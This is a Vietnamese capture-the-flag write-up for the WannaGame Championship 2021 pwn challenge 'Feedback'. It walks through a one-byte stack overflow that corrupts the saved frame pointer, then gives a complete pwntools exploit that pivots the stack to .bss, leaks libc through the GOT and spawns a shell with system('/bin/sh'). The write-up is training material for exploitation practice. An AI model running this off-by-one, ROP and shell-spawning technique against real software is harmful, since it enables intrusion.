[WANNAGAME CHAMPIONSHIP2021] Writeup Feedback (pwn - Msec_root - Icefrog2000)

  code nó hơi dài nên mình chỉ show hàm main và ham chưa bug

void nah(void) {
long local_58;
long local_50;
long local_48;
long local_40;
long local_38;
long local_30;
long local_28;
long local_20;
long local_18;
long local_10;

local_58 = 0;
local_50 = 0;
local_48 = 0;
local_40 = 0;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
local_18 = 0;
local_10 = 0;
puts("\nOh, could you tell us what needs to be improved?");
printf("Your feedback: ");
__isoc99_scanf("%80s", &local_58);
return;
}


long main(void) {
int local_c;

setup();
puts("Hello! Tell me your name plz");
printf("Your name: ");
set_name();
puts("Are you enjoying w1 championship?");
puts("1. Yes");
puts("2. Absolutely");
puts("3. Of course");
puts("4. Nah");
printf("You choice: ");
__isoc99_scanf("%d", &local_c);
getchar();
if (local_c == 4) {
nah();
return 0;
}
if (local_c < 5) {
if (local_c == 3) {
of_course();
return 0;
}
if (local_c < 4) {
if (local_c == 1) {
yes();
return 0;
}
if (local_c == 2) {
absolutely();
return 0;
}
}
}
puts("Don\'t try to do something suspicious :unamused:");
return 0;
}



Như dễ thấy hàm nah có overflow 1 byte, ghi đè 0x00 lên địa chỉ của rbp :))
Sau khi ghi đè 1 byte của rbp, return về main thì rbp bị sai ở byte cuối và trỏ tới vị trí nào đó trên stack.
Ý tưởng sẽ là viết 1 cái rop chain trên stack rồi ghi đè 0x00 lên rbp rồi hi vọng rbp trỏ tới chính cái rop đấy.

Vậy chắc chắn có 1 đoạn rop để leak libc trên GOT, nhưng sau khi ROP chạy xong thì chạy vào đâu. Nhiều bạn sẽ quen tay trỏ lại hàm main và lặp lại bug. Nhưng như thế thì giảm xác suất của bài này xuống khá thấp và mình đã chạy tới lần thứ 223 nên hơi bất lực chuyển sang pivot stack sang bss.

Nhưng bss đã có cái gì đâu, thế nên phải ghi 1 cái ROP chain lên bss bằng cách kết thúc ROP bằng 1 lời gọi hàm scanf() hoặc fgets() để nó đợi input.

Nhưng payload chỉ dài 0x50 nên build ROP sao cho nó tiết kiệm. Ngắm nghía 1 hồi thì mình build được cái payload khá ngắn 

payload = p64(buffer-8) + p64(pop_rdi_ret) + p64(bin.got['printf']) + \
p64(bin.plt['puts']) + p64(pop_rsi_r15_ret) + p64(buffer) + \
p64(0) + p64(0x401448)



Cũng dài 0x40 nên cũng không ngắn lắm :)), tiện là cái địa chỉ này kết thúc bằng leave ret nên đỡ phải thêm gadget

đây là payload được ghi trên bss

payload = p64(pop_rdi_ret) + p64(next(libc.search(b'/bin/sh'))) + \
p64(libc.symbols['system'])

Ok, xong write up bài tiếp theo

Thỉnh thoảng bị stuck thì Ctrl + c nhé




from pwn import *

# r = process('./feedback')
context.clear(os='linux', arch='x86_64')
bin = ELF('./feedback')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')

def send(payload):
r.sendlineafter(b'You choice: ', b'4')
r.sendlineafter(b'Your feedback: ', payload)

pop_rdi_ret = 0x00000000004015d3
pop_r12_r13_r14_r15_ret = 0x00000000004015cc
pop_rbp_ret = 0x00000000004011dd
leave_ret = 0x00000000004012e2
pop_rsi_r15_ret = 0x00000000004015d1
buffer = 0x404f00
pop_rsp_r13_r14_r15_ret = 0x00000000004015cd
ret = 0x000000000040101a
count = 0

while True:
try:
# r = remote('45.122.249.68', 10008)
r = process('./feedback')
r.sendlineafter(b'Your name: ', b'Hello World')
# gdb.attach(r, '''b*0x00000000004015d1''')
payload = p64(buffer-8) + p64(pop_rdi_ret) + p64(bin.got['printf']) + \
p64(bin.plt['puts']) + p64(pop_rsi_r15_ret) + p64(buffer) + \
p64(0) + p64(0x401448)
send(payload.ljust(0x50, b'\x00'))
leak = u64(r.recv(6).ljust(8, b'\x00'))
libc.address = leak - libc.symbols['printf']
log.success('Leak: %#x' % leak)
log.success('Libc base: %#x' % libc.address)
payload = p64(pop_rdi_ret) + p64(next(libc.search(b'/bin/sh'))) + \
p64(libc.symbols['system'])
sleep(1)
r.sendline(payload.ljust(0x50, b'\x00'))
print('Get pwned')
r.interactive()
except:
count += 1
print('Count %d' % count)
libc.address = 0
r.close()
# break

Nhận xét